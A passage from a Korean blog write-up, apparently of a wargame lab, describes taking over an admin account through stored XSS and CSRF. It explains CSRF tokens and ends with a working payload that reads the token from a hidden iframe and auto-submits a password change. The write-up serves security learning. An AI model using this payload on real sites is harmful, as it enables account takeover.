data-origin-height=&quot;132&quot; data-is-animation=&quot;false&quot; style=&quot;width: 72.3566%;&quot; data-widthpercent=&quot;74.08&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/druejU/dJMcaiBVD7N/ykKiWYa0x51LcG8fYGHtLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdruejU%2FdJMcaiBVD7N%2FykKiWYa0x51LcG8fYGHtLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;864&quot; height=&quot;132&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 저는 iframe을 추가하여 스크립트를 iframe에서 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;작동하게 만들었고 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;회원이 수정되었습니다. 알람창이 안보이게&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;sandbox=&quot;allow=forms 같이 사용했습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 확인해보니 잘 적용되는 모습입니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다시 관리자봇에 테스트 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dNcaeS/dJMcaiPs1oK/L0NkXw7GrQ2N1Q1S81afF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dNcaeS/dJMcaiPs1oK/L0NkXw7GrQ2N1Q1S81afF0/img.png&quot; data-origin-width=&quot;2025&quot; data-origin-height=&quot;791&quot; data-is-animation=&quot;false&quot; style=&quot;width: 69.6107%; margin-right: 10px;&quot; data-widthpercent=&quot;70.43&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dNcaeS/dJMcaiPs1oK/L0NkXw7GrQ2N1Q1S81afF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdNcaeS%2FdJMcaiPs1oK%2FL0NkXw7GrQ2N1Q1S81afF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2025&quot; height=&quot;791&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZPQ6b/dJMcafrITTv/qdeXchSKzLV10KRvNk9mYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZPQ6b/dJMcafrITTv/qdeXchSKzLV10KRvNk9mYk/img.png&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;1042&quot; data-is-animation=&quot;false&quot; style=&quot;width: 29.2265%;&quot; data-widthpercent=&quot;29.57&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZPQ6b/dJMcafrITTv/qdeXchSKzLV10KRvNk9mYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZPQ6b%2FdJMcafrITTv%2FqdeXchSKzLV10KRvNk9mYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1120&quot; height=&quot;1042&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjg22X/dJMcaivanUL/X1bLgvuz2gGho04yomiQ0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjg22X/dJMcaivanUL/X1bLgvuz2gGho04yomiQ0k/img.png&quot; data-origin-width=&quot;581&quot; data-origin-height=&quot;582&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.4143%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;52.02&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjg22X/dJMcaivanUL/X1bLgvuz2gGho04yomiQ0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbjg22X%2FdJMcaivanUL%2FX1bLgvuz2gGho04yomiQ0k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;581&quot; height=&quot;582&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QGgOo/dJMcaajEbE2/ORbXnXVDvnJciZ5DC4hFwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QGgOo/dJMcaajEbE2/ORbXnXVDvnJciZ5DC4hFwk/img.png&quot; data-origin-width=&quot;988&quot; data-origin-height=&quot;1073&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.4229%; margin-top: 10px;&quot; data-widthpercent=&quot;47.98&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QGgOo/dJMcaajEbE2/ORbXnXVDvnJciZ5DC4hFwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQGgOo%2FdJMcaajEbE2%2FORbXnXVDvnJciZ5DC4hFwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;988&quot; height=&quot;1073&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이번에는 관리자 모르는 것 같습니다. 로그인 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;보시다시피 로그인에 성공하는 모습이고 flag도 획득한 모습입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt; GET Admin 3 &amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;1005&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NShyD/dJMcaiaUFAT/PtsmssbRY0CMJkfkq8uS51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NShyD/dJMcaiaUFAT/PtsmssbRY0CMJkfkq8uS51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NShyD/dJMcaiaUFAT/PtsmssbRY0CMJkfkq8uS51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNShyD%2FdJMcaiaUFAT%2FPtsmssbRY0CMJkfkq8uS51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;990&quot; height=&quot;1005&quot; data-origin-width=&quot;990&quot; data-origin-height=&quot;1005&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;마지막 GET Admin3 에서도 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;본인만의 admin 계정을 탈취하고 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;flag를 얻는 것 입니다.&amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;똑같은 아이디 test12 계정을 생성하고 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;테스트 해보겠습니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;먼저 CSRF 공격전 XSS 취약점이 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;있는지 확인하겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FgeJc/dJMcabJDrNA/4L56ShPw1SWYDokyyYT251/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FgeJc/dJMcabJDrNA/4L56ShPw1SWYDokyyYT251/img.png&quot; data-origin-width=&quot;1590&quot; data-origin-height=&quot;1350&quot; data-is-animation=&quot;false&quot; style=&quot;width: 28.1317%; margin-right: 10px;&quot; data-widthpercent=&quot;28.8&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FgeJc/dJMcabJDrNA/4L56ShPw1SWYDokyyYT251/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFgeJc%2FdJMcabJDrNA%2F4L56ShPw1SWYDokyyYT251%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1590&quot; height=&quot;1350&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rMVSv/dJMcahiLEaP/qYKJ783zVmeAipXqeWze1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rMVSv/dJMcahiLEaP/qYKJ783zVmeAipXqeWze1k/img.png&quot; data-origin-width=&quot;1767&quot; data-origin-height=&quot;984&quot; data-is-animation=&quot;false&quot; style=&quot;width: 42.8918%; margin-right: 10px;&quot; data-widthpercent=&quot;43.91&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rMVSv/dJMcahiLEaP/qYKJ783zVmeAipXqeWze1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrMVSv%2FdJMcahiLEaP%2FqYKJ783zVmeAipXqeWze1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1767&quot; height=&quot;984&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk3Huw/dJMcaiaUFH5/YNUOJlEk9atbc8J3Ul4x50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk3Huw/dJMcaiaUFH5/YNUOJlEk9atbc8J3Ul4x50/img.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;881&quot; data-is-animation=&quot;false&quot; style=&quot;width: 26.6508%;&quot; data-widthpercent=&quot;27.29&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk3Huw/dJMcaiaUFH5/YNUOJlEk9atbc8J3Ul4x50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk3Huw%2FdJMcaiaUFH5%2FYNUOJlEk9atbc8J3Ul4x50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;983&quot; height=&quot;881&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;XSS 취약점을 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;확인하기 위해 테스트를 진행한 결과 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;게시글에 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;XSS 취약점이 있는 모습입니다. 그리고 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이번에는 회원수정을 했는데 CSRF 토큰이 있습니다.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰이란???&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;해당 요청이 정상적인 사용자의 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;정상적인 절차에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;의해 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;요청인지 아닌지를 구분하기 위해 세션별로 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰을 생성하여 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;세션에 저장하고, &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;사용자가 작업페이지를 요청할 때마다 hidden 값으로&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;클라이언트에게 토큰을 전달하고 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;해당 클라이언트의 데이터처리 요청 시&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;전달되는&amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF 토큰값을 체크하여 요청의 유효성 검사를 진행합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;일단 기존 코드에 csrf_token에 넣고 바꿀 pw을 적어 보내기만 하면 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;될 것 같습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBG3nE/dJMcag5ffK0/ZtqTePHO5qD4EVvme8xj81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBG3nE/dJMcag5ffK0/ZtqTePHO5qD4EVvme8xj81/img.png&quot; data-origin-width=&quot;2383&quot; data-origin-height=&quot;1468&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.4046%; margin-right: 10px;&quot; data-widthpercent=&quot;43.92&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBG3nE/dJMcag5ffK0/ZtqTePHO5qD4EVvme8xj81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBG3nE%2FdJMcag5ffK0%2FZtqTePHO5qD4EVvme8xj81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2383&quot; height=&quot;1468&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qVnz7/dJMcadHpkDF/RGxnXlfJP8zcJz3rnLKvHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qVnz7/dJMcadHpkDF/RGxnXlfJP8zcJz3rnLKvHK/img.png&quot; data-origin-width=&quot;1474&quot; data-origin-height=&quot;711&quot; data-is-animation=&quot;false&quot; style=&quot;width: 55.4326%;&quot; data-widthpercent=&quot;56.08&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qVnz7/dJMcadHpkDF/RGxnXlfJP8zcJz3rnLKvHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqVnz7%2FdJMcadHpkDF%2FRGxnXlfJP8zcJz3rnLKvHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1474&quot; height=&quot;711&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dDaQAN/dJMcadN9mFd/igzHZtA94Q5tUtLN7MB6J0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dDaQAN/dJMcadN9mFd/igzHZtA94Q5tUtLN7MB6J0/img.png&quot; data-origin-width=&quot;2454&quot; data-origin-height=&quot;618&quot; data-is-animation=&quot;false&quot; style=&quot;width: 58.9992%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;59.69&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dDaQAN/dJMcadN9mFd/igzHZtA94Q5tUtLN7MB6J0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdDaQAN%2FdJMcadN9mFd%2FigzHZtA94Q5tUtLN7MB6J0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2454&quot; height=&quot;618&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S4VHW/dJMcahbZ3Ey/v3NGIY5CAND7xapf61mTIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S4VHW/dJMcahbZ3Ey/v3NGIY5CAND7xapf61mTIK/img.png&quot; data-origin-width=&quot;2145&quot; data-origin-height=&quot;800&quot; data-is-animation=&quot;false&quot; style=&quot;width: 39.838%; margin-top: 10px;&quot; data-widthpercent=&quot;40.31&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S4VHW/dJMcahbZ3Ey/v3NGIY5CAND7xapf61mTIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS4VHW%2FdJMcahbZ3Ey%2Fv3NGIY5CAND7xapf61mTIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2145&quot; height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lfSs7/dJMcaaqpQqg/kUe3lKjnFMz922IseplRB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lfSs7/dJMcaaqpQqg/kUe3lKjnFMz922IseplRB0/img.png&quot; data-origin-width=&quot;723&quot; data-origin-height=&quot;592&quot; data-is-animation=&quot;false&quot; style=&quot;width: 54.9039%; margin-right: 10px; margin-top: 10px;&quot; data-widthpercent=&quot;55.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lfSs7/dJMcaaqpQqg/kUe3lKjnFMz922IseplRB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlfSs7%2FdJMcaaqpQqg%2FkUe3lKjnFMz922IseplRB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;723&quot; height=&quot;592&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AakSQ/dJMcahXoJ8u/RKFx9SNrqKLG3wDOoKhhYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AakSQ/dJMcahXoJ8u/RKFx9SNrqKLG3wDOoKhhYK/img.png&quot; data-origin-width=&quot;1160&quot; data-origin-height=&quot;1187&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.9333%; margin-top: 10px;&quot; data-widthpercent=&quot;44.45&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AakSQ/dJMcahXoJ8u/RKFx9SNrqKLG3wDOoKhhYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAakSQ%2FdJMcahXoJ8u%2FRKFx9SNrqKLG3wDOoKhhYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1160&quot; height=&quot;1187&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1767349821358&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;iframe src=/csrf_3/&quot;csrf토큰이 존재하는 페이지&quot; id=&quot;get_token&quot; style=&quot;display:none;&quot; onload=&quot;bypass()&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;iframe name=&quot;myFrame&quot; style=&quot;display:none;&quot; sandbox=&quot;allow-scripts&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;form method=&quot;POST&quot; action=&quot;csrf취약페이지&quot; target=&quot;myFrame&quot; id=&quot;myForm&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;pw&quot; value=&quot;123456&quot;/&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;&quot; id=&quot;token&quot;/&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;script&amp;gt;
function bypass() {
    var myIframe = document.getElementById('get_token');
    var dom = myIframe.contentDocument;
    var token = dom.getElementsByName('csrf_token')[0].value
    document.getElementById('token').value = token;
    document.getElementById('myForm').submit();
}
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
